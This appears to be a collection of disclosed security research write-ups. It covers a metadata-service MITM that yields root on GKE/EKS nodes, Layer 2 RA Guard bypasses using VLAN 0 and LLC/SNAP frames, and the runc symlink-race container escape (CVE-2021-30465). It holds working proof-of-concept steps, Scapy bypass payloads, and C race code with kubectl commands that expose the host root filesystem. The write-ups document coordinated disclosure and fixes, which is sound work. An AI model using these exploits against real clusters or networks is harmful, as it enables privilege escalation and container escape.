. ubuntu-node:/ 216 | ``` 217 | 218 | 5. Connect to the container 219 | 220 | ``` 221 | kubectl exec -ti ubuntu-node -- /bin/bash 222 | ``` 223 | 224 | The next commands are all run in the pod 225 | 226 | 6. Install the needed softwares 227 | 228 | ``` 229 | apt update && apt install -y openssh-client curl openssl libpcap-dev golang 230 | ``` 231 | 232 | 7. Build the Golang POC 233 | 234 | ``` 235 | go build . 236 | ``` 237 | 238 | 8. Download the OCSP responses, concatenate the signer cert 239 | 240 | ``` 241 | downloadocsp() { 242 | fingerprint=$(openssl x509 -noout -fingerprint -sha1 -inform pem -in "${1}" | /bin/sed -n 's/SHA1 Fingerprint[[:space:]]*=[[:space:]]*\(.*\)/\1/p' | tr -d ':') 243 | ocsp_url="$(openssl x509 -noout -ocsp_uri -in "${1}")" 244 | openssl ocsp -no_nonce -issuer "${2}" -cert "${1}" -url "$ocsp_url" -respout "${3}/$fingerprint-raw" 245 | base64 -w0 "${3}/$fingerprint-raw" > "${3}/$fingerprint" 246 | rm -f "${3}/$fingerprint-raw" 247 | } 248 | mkdir ocsp 249 | downloadocsp cert0.pem cert1.pem ocsp 250 | downloadocsp cert1.pem cert2.pem ocsp 251 | cat cert0.pem cert1.pem > signer.pem 252 | ``` 253 | 254 | 9. Generate an SSH key, this is the key we will use to connect with 255 | 256 | ``` 257 | ssh-keygen -t ed25519 -f /root/.ssh/id_ed25519 -N "" 258 | ``` 259 | 260 | 10. Prepare the API "ssh response" 261 | 262 | ``` 263 | cat > sshkeys-unsigned <> sshkeys-unsigned 270 | openssl dgst -sha256 -sigopt rsa_padding_mode:pss -sigopt rsa_pss_saltlen:32 -sign privkey.pem sshkeys-unsigned | base64 -w0 > sshkeys-signature 271 | cat sshkeys-unsigned sshkeys-signature > sshkeys 272 | echo "" >> sshkeys 273 | ``` 274 | 275 | 11. Launch the POC 276 | 277 | ``` 278 | ./mitmmeta 279 | ``` 280 | 281 | 12. In a second shell, connect to the pod and connect to the node 282 | 283 | ``` 284 | kubectl exec -ti ubuntu-node -- /bin/bash 285 | ssh root@127.0.0.1 286 | ``` 287 | 288 | you are now root on the instance 289 | 290 | 291 | Searching in [Certificate Transparency logs](https://censys.io/certificates?q=parsed.names%3A%2Fmanaged-ssh-signer.*%2F), 292 | it seems I'm the only one having created such cert. 293 | 294 | ## Timeline 295 | 296 | * 2020-06-15: Report to K8S security team (via HackerOne) to make them consider dropping `CAP_NET_RAW` by default. Only GKE was tested at that time. 297 | * 2020-07-01: Report to Google 298 | * 2020-10-19: Finally find some time to look at EKS on the weekend, report to AWS Security 299 | * 2020-10-23: Google start rolling out their GKE fix 300 | * 2020-11-10: Google bounty :) (Donated to Handicap International) 301 | * 2020-11-12: Quick call with AWS Security to confirm they understood my report correctly 302 | * 2020-11-17: AWS push a fix to [verify the domain](https://github.com/aws/aws-ec2-instance-connect-config/commit/c15b99fa223f277787e50b044baf39e483dedf8c) (actually dated 2020-10-22) 303 | * 2020-12-04: AWS confirm fix on their side 304 | * 2020-12-07: Ask confirmation to Google if I can talk about this publicly as ticket is not marked fixed yet 305 | * 2021-02-04: K8S (HackerOne) report closed as provider specific 306 | * 2021-02-10: Google finally mark the ticket as fixed 307 | * 2021-02-28: Finally finish this write-ups 308 | 309 | ## Acknowledgments 310 | 311 | Thanks to Google for the bounty, and thanks to AWS and K8S Team. 312 | -------------------------------------------------------------------------------- /VLAN0_LLC_SNAP/README.md: -------------------------------------------------------------------------------- 1 | # Layer 2 network security bypass using VLAN 0, LLC/SNAP headers and invalid length 2 | 3 | ## TLDR 4 | 5 | You should always drop unknown/unclassified traffic. 6 | Using VLAN 0, LLC/SNAP headers and invalid length gives you multiple ways to 7 | encapsulate the same L3 payload on Ethernet/Wifi, allowing to bypass some 8 | L2 network security control implementations like IPv6 Router Advertisement Guard. 9 | 10 | ## Intro 11 | 12 | Following my previous article on [VLAN 0](../VLAN0/README.md), I had two itches to scratch. 13 | 14 | First, after reading [Proper isolation of a Linux bridge article from Vincent Bernat](https://vincent.bernat.ch/en/blog/2017-linux-bridge-isolation) some time ago and seeing: 15 | ``` 16 | $ cat /proc/net/ptype 17 | Type Device Function 18 | 0800 ip_rcv 19 | 0011 llc_rcv [llc] 20 | 0004 llc_rcv [llc] 21 | 0806 arp_rcv 22 | 86dd ipv6_rcv 23 | ``` 24 | I wanted to understand what were those `llc` packets and what I could do with them, 25 | but it took me a long time and some luck to craft some useful packets with LLC/SNAP headers. 26 | 27 | Second, I wanted to test bypassing layer 2 security on managed switches. As I was staying home for the end of 2020 (COVID ...), 28 | I decided to buy myself one of the cheapest Cisco switches with IPv6 first-hop security (CBS350-8T-E-2G), and was able to bypass its IPv6 RA Guard implementation using VLAN 0 and/or LLC/SNAP headers. 29 | 30 | After reporting my findings to Cisco PSIRT, I reported these same bypasses to Juniper SIRT, but I didn't have time to continue reporting to all network vendors and coordinate between them. Thankfully I discovered that you can [report vulnerabilities that affect multiple vendors to CERT/CC](https://www.kb.cert.org/vuls/report/) and they will take care of reporting to and coordinating between all vendors. 31 | 32 | The packet syntax in this article is the one used by [Scapy](https://scapy.readthedocs.io/). 33 | If you want to try the examples you might need to replace `Dot3()` with `Dot3(src=get_if_hwaddr(ifname))`. 34 | 35 | ## Ethernet frame types 36 | 37 | If you want to know everything, the following pages will do a better job than me: 38 | - [Wikipedia - Ethernet frame](https://en.wikipedia.org/wiki/Ethernet_frame) 39 | - [Wikipedia - IEEE 802.2](https://en.wikipedia.org/wiki/IEEE_802.2) 40 | - [Wikipedia - IEEE 802.3](https://en.wikipedia.org/wiki/IEEE_802.3) 41 | - [RFC 894 - A Standard for the Transmission of IP Datagrams over Ethernet Networks](https://www.rfc-editor.org/rfc/rfc894) 42 | - [RFC 948 - Two Methods for the Transmission of IP Datagrams over IEEE 802.3 Networks](https://www.rfc-editor.org/rfc/rfc948) 43 | - [RFC 1042 - A Standard for the Transmission of IP Datagrams over IEEE 802 Networks](https://www.rfc-editor.org/rfc/rfc1042) 44 | - [RFC 1122 - Requirements for Internet Hosts -- Communication Layers](https://www.rfc-editor.org/rfc/rfc1122) 45 | - [RFC 2464 - Transmission of IPv6 Packets over Ethernet Networks](https://www.rfc-editor.org/rfc/rfc2464) 46 | - [RFC 4840 - Multiple Encapsulation Methods Considered Harmful](https://www.rfc-editor.org/rfc/rfc4840) 47 | - [RFC Draft - Extended Ethernet Frame Size Support](https://datatracker.ietf.org/doc/html/draft-ietf-isis-ext-eth) 48 | - [RFC 5342 - Ethernet Protocol Parameters](https://www.rfc-editor.org/rfc/rfc5342#section-3) 49 | - [Ask Wiresark - IEEE802a OUI Extended Ethertype](https://ask.wireshark.org/question/21547/ieee802a-oui-extended-ethertype/) 50 | - [Novell - Migrating Ethernet Frame Types from 802.3 Raw to IEEE 802.2](https://support.novell.com/techcenter/articles/ana19930905.html) 51 | 52 | To make it short, an Ethernet frame always starts with a preamble, start frame delimiter, MAC destination, MAC source, then VLAN headers (if used), and then the content depends on which of the 4 frame types you are using: 53 | - Ethernet II: also known as DIX Ethernet, this is the most common, and starts with EtherType (2 bytes) that identifies the upper layer (0x0800 == IPv4, 0x0806 == ARP, 0x86DD == IPv6). See [RFC 894]((https://www.rfc-editor.org/rfc/rfc894)) and [RFC 2464](https://www.rfc-editor.org/rfc/rfc2464). 54 | - Novell raw IEEE 802.3: This was used to transport IPX until the mid-nineties, starts with 2 bytes length then 0xFFFF. 55 | - IEEE 802.2 LLC: in IEEE 802.3 standard a frame starts with 2 bytes length followed by 802.2 LLC (logical link control) header. 802.2 defines 3 operational modes, but we are only interested in unacknowledged connection-less mode. IPv4 and ARP can be encapsulated in 802.2 LLC headers as defined in [RFC 948](https://www.rfc-editor.org/rfc/rfc948), but as said in [RFC 1010](https://www.rfc-editor.org/rfc/rfc1010) from 1987 "The use of the IP LSAP is to be phased out as quickly as possible". 56 | - IEEE 802.2 LLC/SNAP: [RFC 1042](https://datatracker.ietf.org/doc/html/rfc1042) defines how to encapsulate IP using LLC/SNAP, and this is the default for all 802 networks except Ethernet, DSAP == SSAP == 170 == 0xAA (SNAP Headers), Control == 3 (unacknowledged connectionless mode / U-format PDUs), SNAP OUI 24 bits == 0x000000 or 0x0000F8, SNAP protocol id 16 bits == EtherType. 57 | 58 | ![The 4 Ethernet frame formats](Ethernet-frame-formats.svg) 59 | 60 | LLC/SNAP with OUI 0x000000 can be called "SNAP RFC1042", and LLC/SNAP with OUI 0x0000f8 called "SNAP 802.1H". 61 | I found "SNAP 802.1H" by chance while looking at Linux mac80211 code. 62 | 63 | Using Scapy notation, here are 3 ways to encapsulate an ICMP Echo request to 192.168.1.2: 64 | ``` 65 | Ether()/IP(dst='192.168.1.2')/ICMP() 66 | Dot3()/LLC(ctrl=3)/SNAP()/IP(dst='192.168.1.2')/ICMP() 67 | Dot3()/LLC(ctrl=3)/SNAP(OUI=0x0000f8)/IP(dst='192.168.1.2')/ICMP() 68 | ``` 69 | 70 | Scapy is computing a lot of values for us, here the same packets expanded a bit: 71 | ``` 72 | Ether(type=0x0800)/IP(dst='192.168.1.2')/ICMP() 73 | Dot3()/LLC(dsap=0xaa,ssap=0xaa,ctrl=3)/SNAP(OUI=0x000000,code=0x0800)/IP(dst='192.168.1.2')/ICMP() 74 | Dot3()/LLC(dsap=0xaa,ssap=0xaa,ctrl=3)/SNAP(OUI=0x0000f8,code=0x0800)/IP(dst='192.168.1.2')/ICMP() 75 | ``` 76 | 77 | [RFC1122 - Section 2.3.3](https://www.rfc-editor.org/rfc/rfc1122#section-2.3.3) states that: 78 | "Every Internet host connected to a 10Mbps Ethernet cable: 79 | - MUST be able to send and receive packets using RFC-894 encapsulation; 80 | - SHOULD be able to receive RFC-1042 packets, intermixed with RFC-894 packets; and 81 | - MAY be able to send packets using RFC-1042 encapsulation. 82 | An Internet host that implements sending both the RFC-894 and the RFC-1042 encapsulation MUST provide a configuration switch to select which is sent, and this switch MUST default to RFC-894." 83 | 84 | After reading section 2.3.3, it's less surprising to know that Microsoft Windows has a boolean [ArpUseEtherSNAP](https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/setarpuseethersnap-method-in-class-win32-networkadapterconfiguration) that 'enables TCP/IP to transmit Ethernet packets using 802.3 SNAP encoding' and 'by default, the stack transmits packets in Digital, Intel, Xerox (DIX) Ethernet format (but) it always receives both formats', ie Windows accepts Ethernet II, "SNAP RFC1042" and "SNAP 802.1H" format. 85 | 86 | LLC/SNAP Frames on 802.3 have a maximum size of 1500, so in 2001 [Extended Ethernet Frame Size Support RFC](https://datatracker.ietf.org/doc/html/draft-ietf-isis-ext-eth) 87 | was sent out. In short, instead of having the length, use `0x8870` Ethertype. This RFC was never accepted, but Wireshark decodes such frame and Scapy forge them: 88 | ``` 89 | Ether()/LLC(ctrl=3)/SNAP()/IP(dst='192.168.1.2')/ICMP() 90 | ``` 91 | (notice the `Ether()` instead of `Dot3()`) 92 | 93 | To finish in 2003 the IEEE defined "OUI Extended Ethertype", Ethertype `0x88B7` followed by 3 octets OUI and 2 octets protocol. We could say it's LLC/SNAP without the LLC header. 94 | ``` 95 | Ether(type=0x88B7)/SNAP(OUI=0x000000)/IP(dst='192.168.1.2')/ICMP() 96 | Ether(type=0x88B7)/SNAP(OUI=0x0000f8)/IP(dst='192.168.1.2')/ICMP() 97 | ``` 98 | And of course OUI Extended Ethertype can be encapsulated inside LLC/SNAP 99 | ``` 100 | Dot3()/LLC(ctrl=3)/SNAP(OUI=0x000000,code=0x88b7)/SNAP(OUI=0x000000)/IP(dst='192.168.1.2')/ICMP() 101 | ``` 102 | 103 | ## Invalid 802.3 length 104 | 105 | In an Ethernet frame, the 2 bytes after the source MAC can either be a length or an EtherType. 106 | Values greater than or equal to 1536 (0x0600) indicates that the field is an EtherType and the frame an Ethernet II frame. 107 | Values less than or equal to 1500 (0x05dc) indicates that the field is the length and the frame is Novell raw, 802.2 LLC or 802.2 LLC/SNAP. 108 | Values between 1500 and 1536, exclusive, are undefined. 109 | 110 | The 802.3 length is redundant with the frame length, so a simple implementation can ignore if the value is coherent and just do: 111 | ``` 112 | if (pkt[12:13] >= 1536): 113 | handle_ethernet2() 114 | elif (pkt[14:15] == 0xaaaa): 115 | handle_llc_snap() 116 | elif (pkt[14:15] == 0xffff): 117 | handle_novell_raw() 118 | else: 119 | handle_llc() 120 | ``` 121 | 122 | Microsoft Windows accept 802.3 headers with any length between 0 and 1535 (0x05ff) inclusive. 123 | On it's own this is not an issue, but some devices doing L2 security ignore packets with length between 1501 and 1535 or with length that is not coherent with the frame length (they are not valid 802.3 packets after all), meaning they let rogue packets thru that are then accepted by Windows. 124 | 125 | Here 2 simple example: 126 | ``` 127 | # bypass hyperv 128 | Dot3(src=get_if_hwaddr(ifname),len=0)/LLC(ctrl=3)/SNAP()/ra 129 | # bypass cisco 130 | Dot3(src=get_if_hwaddr(ifname),len=0x05ff)/LLC(ctrl=3)/SNAP()/ra 131 | ``` 132 | 133 | ## Frame conversion between 802.3/Ethernet and 802.11 134 | 135 | If you open Wireshark, look at some packets on your wired interface and some packets on your wireless, you will likely see that all packets are using Ethernet II headers. You might also have seen in the past TCP packets bigger than the interface MTU. For some (good) reasons, your OS and Wireshark are lying to you. 136 | If you want to see what real 802.11 traffic looks like, Wireshark wiki has some [802.11 sample captures](https://gitlab.com/wireshark/wireshark/-/wikis/SampleCaptures#wifi-wireless-lan-captures-80211). 137 | 138 | Linux accepts IP packets with multiple VLAN 0 headers (see previous write-up) but not with LLC/SNAP encapsulation, what if we could combine both ? 139 | 140 | When a frame is forwarded from 802.3/Ethernet to 802.11 (Wifi), the layer 2 part of the frame needs to be rewritten. 141 | Linux 802.11 wireless stack (mac80211) accepts frames with both Ethernet II and 802.2 LLC/SNAP encapsulation as input, so both 142 | ``` 143 | Ether()/IP(dst='192.168.1.2')/ICMP() 144 | Dot3()/LLC(ctrl=3)/SNAP()/IP(dst='192.168.1.2')/ICMP() 145 | ``` 146 | become something that looks like 147 | ``` 148 | Dot11()/LLC(ctrl=3)/SNAP()/IP(dst='192.168.1.2')/ICMP() 149 | ``` 150 | and if we mix VLAN 0 between LLC/SNAP and IP headers 151 | ``` 152 | Dot3()/LLC(ctrl=3)/SNAP()/Dot1Q(vlan=0)/IP(dst='192.168.1.2')/ICMP() 153 | ``` 154 | becomes something like 155 | ``` 156 | Dot11()/LLC(ctrl=3)/SNAP()/Dot1Q(vlan=0)/IP(dst='192.168.1.2')/ICMP() 157 | ``` 158 | 159 | For 802.3, VLAN headers should be between the source MAC and the length, whereas for all other 802 networks, VLAN headers are after the LLC/SNAP header. 160 | By putting VLAN headers after the LLC/SNAP header for 802.3, we can bypass some L2 filtering, and still be accepted by most OS. 161 | 162 | ![Ethernet II / 802.3 / 802.11 / VLAN 0](Ethernet-8023-80211.svg) 163 | 164 | If we send the following packet using Scapy on a wireless interface 165 | ``` 166 | Ether()/Dot1Q(vlan=0,type=len(LLC()/SNAP()/IP()/ICMP()))/LLC(ctrl=3)/SNAP()/IP(dst='192.168.1.2')/ICMP() 167 | ``` 168 | Linux will actually send 169 | ``` 170 | Dot11()/LLC(ctrl=3)/SNAP()/Dot1Q(vlan=0,type=len(LLC()/SNAP()/IP()/ICMP()))/LLC(ctrl=3)/SNAP()/IP(dst='192.168.1.2')/ICMP() 171 | ``` 172 | and when converted from 802.11 to Ethernet II we end up with 173 | ``` 174 | Ether()/Dot1Q(vlan=0,type=len(LLC()/SNAP()/IP()/ICMP()))/LLC(ctrl=3)/SNAP()/IP(dst='192.168.1.2')/ICMP() 175 | ``` 176 | 177 | To finish, Linux will happily ignore the 802.3 length while converting from 802.3 to 802.11, so 178 | ``` 179 | Dot3(len=0)/LLC(ctrl=3)/SNAP()/IP(dst='192.168.1.2')/ICMP() 180 | ``` 181 | becomes a valid packet 182 | ``` 183 | Dot11()/LLC(ctrl=3)/SNAP()/IP(dst='192.168.1.2')/ICMP() 184 | ``` 185 | 186 | ## How to test your network 187 | 188 | As there are a lot of possible combinations, I've written a small script that uses Scapy to send many of them: [l2-security-whack-a-mole.py](l2-security-whack-a-mole.py). 189 | Perform the attacks via both wired and wireless interfaces. 190 | An example to send Router Advertisements 191 | ``` 192 | sudo python3 l2-security-whack-a-mole.py -i eth0 --i-want-to-break-my-network ipv6_ra ff02::1 193 | ``` 194 | 195 | ## Going deeper 196 | 197 | While researching for those L2 attacks, I stumbled upon an awesome research from 2013 injecting specially crafted packets at L1 to confuse some switches and NICs: 198 | [Fully arbitrary 802.3 packet injection Maximizing the Ethernet attack surface](http://dev.inversepath.com/download/802.3/whitepaper.txt) 199 | 200 | ## Impacted software / hardware 201 | 202 | - Microsoft Hyper-V / OpenStack / LXD: [See previous write up](../VLAN0/README.md#tested-software) 203 | - Microsoft Hyper-V: [CVE-2021-28444](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28444) / [CVE-2022-21905](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21905) 204 | - Cisco CBS350-8T-E-2G 205 | - See list in [CERT/CC vulnerability note VU#855201](https://kb.cert.org/vuls/id/855201) 206 | 207 | ## Timeline 208 | 209 | * 2020-12-14: Initial report to Microsoft of LLC/SNAP attack (VLAN 0 attack was reported earlier) 210 | * 2020-12-30: Receive my CBS350-8T-E-2G 211 | * 2020-01-01: Initial report to Cisco PSIRT / PSIRT-0213940748 212 | * 2020-01-01: Initial report to Juniper SIRT / SIR-2021-001 213 | * 2020-01-04: Initial report to CERT/CC / VU#855201 214 | * 2021-02-05: Microsoft confirm the issue 215 | * 2021-04-13: Microsoft release fixes for [CVE-2021-28444](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28444) 216 | * 2021-04-20: RedHat reports that the kernel behaves as expected, it's the user space responsibility to build correct filtering rules 217 | * 2021-08-13: Ask if any vendors plan on releasing advisories / fixes 218 | * 2021-08-23: All networks vendors really notified 219 | * 2021-09-10: Initial report to Microsoft of 802.3 invalid length attack for both HyperV and Windows 220 | * 2021-10-07: Share the 802.3 invalid length attack with everyone 221 | * 2022-01-11: Microsoft releases fix for 802.3 invalid length attack for HyperV [CVE-2022-21905](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21905) 222 | * 2022-01-25: Resubmit 802.3 invalid length attack for Windows 223 | * 2022-01-11: [IEEE meeting](https://1.ieee802.org/maintenance-tg-electronic-meeting-agenda-january-11-2022-11-am-et/) discussing those bypass 224 | * 2022-03-25: Microsoft won't fix Windows accepting 802.3 packets with invalid length 225 | * 2022-09-27: Public disclosure of [CVE-2021-27853 / CVE-2021-27854 / CVE-2021-27861 / CVE-2021-27862](https://kb.cert.org/vuls/id/855201) 226 | 227 | ## Acknowledgments 228 | 229 | - Thanks to Microsoft for their bounties 230 | - Thanks to RedHat engineers for their time discussing what was wrong in my initial report 231 | - Thanks to CERT/CC Team for the coordination work 232 | 233 | 234 | -------------------------------------------------------------------------------- /runc-symlink-CVE-2021-30465/README.md: -------------------------------------------------------------------------------- 1 | # runc mount destinations can be swapped via symlink-exchange to cause mounts outside the rootfs (CVE-2021-30465) 2 | 3 | It's November 2020 and I'm troubleshooting a container running on K8S that is doing tons of writes to the local disk. 4 | As those writes are just temporary states, I quickly add an `emptyDir tmpfs` volume at `/var/run`, 5 | open a ticket so that my devs make it permanent, and call it a day. 6 | 7 | Some time later I notice, looking at `mount` output, that this new `tmpfs` is mounted at `/run` instead of `/var/run`, 8 | which I missed earlier but surprises me a bit. `/var/run` is a symlink to `../run` and 9 | after a quick test this is actually the normal Linux behavior to have mount follow symlinks, 10 | so I start wondering how does containerd/runc make sure the mounts are inside the container rootfs. 11 | 12 | After following the code responsible for the mounts, I end up reading the comment of [`securejoin.SecureJoinVFS()`](https://github.com/cyphar/filepath-securejoin/blob/40f9fc27fba074f2e2eebb3f74456b4c4939f4da/join.go#L57-L60): 13 | ``` 14 | // Note that the guarantees provided by this function only apply if the path 15 | // components in the returned string are not modified (in other words are not 16 | // replaced with symlinks on the filesystem) after this function has returned. 17 | // Such a symlink race is necessarily out-of-scope of SecureJoin. 18 | ``` 19 | As you read this you know that this race condition exists, the question is how to exploit it to escape to the K8S host. 20 | 21 | ## POC 22 | 23 | When mounting a volume, runc trusts the source, and will let the kernel follow symlinks, but it doesn't trust the target argument and will use 'filepath-securejoin' library to resolve any symlink and ensure the resolved target stays inside the container root. 24 | As explained in [SecureJoinVFS() documentation](https://github.com/cyphar/filepath-securejoin/blob/40f9fc27fba074f2e2eebb3f74456b4c4939f4da/join.go#L57-L60), using this function is only safe if you know that the checked file is not going to be replaced by a symlink, the problem is that we can replace it by a symlink. 25 | In K8S there is a trivial way to control the target, create a pod with multiple containers sharing some volumes, one with a correct image, and the other ones with non existing images so they don't start right away. 26 | 27 | Let's start with the POC first and the explanations after 28 | 29 | 1. Create our attack POD 30 | 31 | ``` 32 | kubectl create -f - < race.c <<'EOF' 87 | #define _GNU_SOURCE 88 | #include 89 | #include 90 | #include 91 | #include 92 | #include 93 | #include 94 | #include 95 | 96 | int main(int argc, char *argv[]) { 97 | if (argc != 4) { 98 | fprintf(stderr, "Usage: %s name1 name2 linkdest\n", argv[0]); 99 | exit(EXIT_FAILURE); 100 | } 101 | char *name1 = argv[1]; 102 | char *name2 = argv[2]; 103 | char *linkdest = argv[3]; 104 | 105 | int dirfd = open(".", O_DIRECTORY|O_CLOEXEC); 106 | if (dirfd < 0) { 107 | perror("Error open CWD"); 108 | exit(EXIT_FAILURE); 109 | } 110 | 111 | if (mkdir(name1, 0755) < 0) { 112 | perror("mkdir failed"); 113 | //do not exit 114 | } 115 | if (symlink(linkdest, name2) < 0) { 116 | perror("symlink failed"); 117 | //do not exit 118 | } 119 | 120 | while (1) 121 | { 122 | renameat2(dirfd, name1, dirfd, name2, RENAME_EXCHANGE); 123 | } 124 | } 125 | EOF 126 | 127 | gcc race.c -O3 -o race 128 | ``` 129 | 130 | 3. Wait for the container c1 to start, upload the 'race' binary to it, and exec bash 131 | 132 | ``` 133 | sleep 30 # wait for the first container to start 134 | kubectl cp race -c c1 attack:/test1/ 135 | kubectl exec -ti pod/attack -c c1 -- bash 136 | ``` 137 | 138 | you now have a shell in container c1 139 | 140 | 4. Create the following symlink (explanations later) 141 | 142 | ``` 143 | ln -s / /test2/test2 144 | ``` 145 | 146 | 5. Launch 'race' multiple times to try to exploit this TOCTOU 147 | 148 | ``` 149 | cd test1 150 | seq 1 4 | xargs -n1 -P4 -I{} ./race mnt{} mnt-tmp{} /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/ 151 | ``` 152 | 153 | 6. Now that everything is ready, in a second shell, update the images so that the other containers can start 154 | 155 | ``` 156 | for c in {2..20}; do 157 | kubectl set image pod attack c$c=ubuntu:latest 158 | done 159 | ``` 160 | 161 | 7. Wait a bit and look at the results 162 | 163 | ``` 164 | for c in {2..20}; do 165 | echo ~~ Container c$c ~~ 166 | kubectl exec -ti pod/attack -c c$c -- ls /test1/zzz 167 | done 168 | ``` 169 | ``` 170 | ~~ Container c2 ~~ 171 | test2 172 | ~~ Container c3 ~~ 173 | test2 174 | ~~ Container c4 ~~ 175 | test2 176 | ~~ Container c5 ~~ 177 | bin dev home lib64 mnt postinst root sbin tmp var 178 | boot etc lib lost+found opt proc run sys usr 179 | ~~ Container c6 ~~ 180 | bin dev home lib64 mnt postinst root sbin tmp var 181 | boot etc lib lost+found opt proc run sys usr 182 | ~~ Container c7 ~~ 183 | error: unable to upgrade connection: container not found ("c7") 184 | ~~ Container c8 ~~ 185 | test2 186 | ~~ Container c9 ~~ 187 | bin boot dev etc home lib lib64 lost+found mnt opt postinst proc root run sbin sys tmp usr var 188 | ~~ Container c10 ~~ 189 | test2 190 | ~~ Container c11 ~~ 191 | bin dev home lib64 mnt postinst root sbin tmp var 192 | boot etc lib lost+found opt proc run sys usr 193 | ~~ Container c12 ~~ 194 | test2 195 | ~~ Container c13 ~~ 196 | test2 197 | ~~ Container c14 ~~ 198 | test2 199 | ~~ Container c15 ~~ 200 | bin boot dev etc home lib lib64 lost+found mnt opt postinst proc root run sbin sys tmp usr var 201 | ~~ Container c16 ~~ 202 | error: unable to upgrade connection: container not found ("c16") 203 | ~~ Container c17 ~~ 204 | error: unable to upgrade connection: container not found ("c17") 205 | ~~ Container c18 ~~ 206 | bin boot dev etc home lib lib64 lost+found mnt opt postinst proc root run sbin sys tmp usr var 207 | ~~ Container c19 ~~ 208 | error: unable to upgrade connection: container not found ("c19") 209 | ~~ Container c20 ~~ 210 | test2 211 | ``` 212 | 213 | On my first try running this POC, I had 6 containers where /test1/zzz was / on the node, some failed to start, and the remaining were not affected. 214 | 215 | Even without the ability to update images, we could use a fast registry for c1 and a slow registry or big container for c2+, we just need c1 to start 1sec before the others. 216 | 217 | Tests were done on the following GKE cluster: 218 | ``` 219 | gcloud beta container --project "delta-array-282919" clusters create "toctou" --zone "us-central1-c" --no-enable-basic-auth --cluster-version "1.18.12-gke.1200" --release-channel "rapid" --machine-type "e2-medium" --image-type "COS_CONTAINERD" --disk-type "pd-standard" --disk-size "100" --metadata disable-legacy-endpoints=true --scopes "https://www.googleapis.com/auth/devstorage.read_only","https://www.googleapis.com/auth/logging.write","https://www.googleapis.com/auth/monitoring","https://www.googleapis.com/auth/servicecontrol","https://www.googleapis.com/auth/service.management.readonly","https://www.googleapis.com/auth/trace.append" --num-nodes "3" --enable-stackdriver-kubernetes --enable-ip-alias --network "projects/delta-array-282919/global/networks/default" --subnetwork "projects/delta-array-282919/regions/us-central1/subnetworks/default" --default-max-pods-per-node "110" --no-enable-master-authorized-networks --addons HorizontalPodAutoscaling,HttpLoadBalancing --enable-autoupgrade --enable-autorepair --max-surge-upgrade 1 --max-unavailable-upgrade 0 --enable-shielded-nodes 220 | ``` 221 | 222 | K8S 1.18.12, containerd 1.4.1, runc 1.0.0-rc10, 2 vCPUs 223 | 224 | ## Explanations 225 | 226 | I haven't dug too deep in the code and relied on strace to understand what was happening, and did the investigation about a month before finally having a working POC, so details are fuzzy, but here is my understanding: 227 | 228 | 1. K8S prepares all the volumes for the pod in `/var/lib/kubelet/pods/$MY_POD_UID/volumes/VOLUME-TYPE/VOLUME-NAME` 229 | (In my POC I'm using the fact that the path is known, but looking at `/proc/self/mountinfo` leaks all you need to find the path) 230 | 231 | 2. containerd prepares the rootfs at `/run/containerd/io.containerd.runtime.v2.task/k8s.io/SOMERANDOMID/rootfs` 232 | 233 | 3. runc calls `unshare(CLONE_NEWNS)` and sets the mount propagation to `MS_SLAVE`, thus preventing the following mount operations to affect other containers or the node directly 234 | 235 | 4. runc mount bind the K8S volumes 236 | 237 | 1. runc call `securejoin.SecureJoin()` to resolve the destination/target 238 | 239 | 2. runc call `mount()` 240 | 241 | K8S doesn't give us control over the mount source, but we have full control over the target of the mount, 242 | so the trick is to mount a directory containing a symlink over K8S volumes path to have the next mount use this new source, and give us access to the node root filesystem. 243 | 244 | From the node the filesystem look like this 245 | ``` 246 | /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mnt1 247 | /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mnt-tmp1 -> /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/ 248 | /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mnt2 -> /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/ 249 | /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mnt-tmp2 250 | ... 251 | /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2/test2 -> / 252 | ``` 253 | 254 | Our `race` binary is constantly swapping `mntX` and `mnt-tmpX`, when c2+ start, they do the following mounts 255 | ``` 256 | mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /run/containerd/io.containerd.runtime.v2.task/k8s.io/SOMERANDOMID/rootfs/test1/mntX) 257 | ``` 258 | which is equivalent to 259 | ``` 260 | mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mntX) 261 | ``` 262 | as the volume is bind mounted into the container rootfs 263 | 264 | If we are lucky, when we call `SecureJoin()`, `mntX` is a directory, and when we call `mount()` `mntX` is now a symlink, and as `mount()` follow symlinks, this gives us 265 | ``` 266 | mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/) 267 | ``` 268 | 269 | The filesystem now looks like 270 | ``` 271 | /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2 -> / 272 | ``` 273 | 274 | When we do the final mount 275 | ``` 276 | mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /run/containerd/io.containerd.runtime.v2.task/k8s.io/SOMERANDOMID/rootfs/test1/zzz) 277 | ``` 278 | resolves to 279 | ``` 280 | mount(/, /run/containerd/io.containerd.runtime.v2.task/k8s.io/SOMERANDOMID/rootfs/test1/zzz) 281 | ``` 282 | 283 | And we now have full access to the whole node root, including /dev, /proc, all the tmpfs and overlay of other containers, everything :) 284 | 285 | ## Workaround 286 | 287 | A possible workaround is to forbid mounting volumes in volumes, but as usual upgrading is recommended. 288 | 289 | ## Comments 290 | 291 | This POC is far from being optimal and, as already stated, being able to update the image is not mandatory. 292 | 293 | It took me some tries to have a working POC, at first I was trying to just mount the `tmpfs` volume to impact the host (`/root/.ssh`), 294 | but this doesn't work as the mounts are happening in a 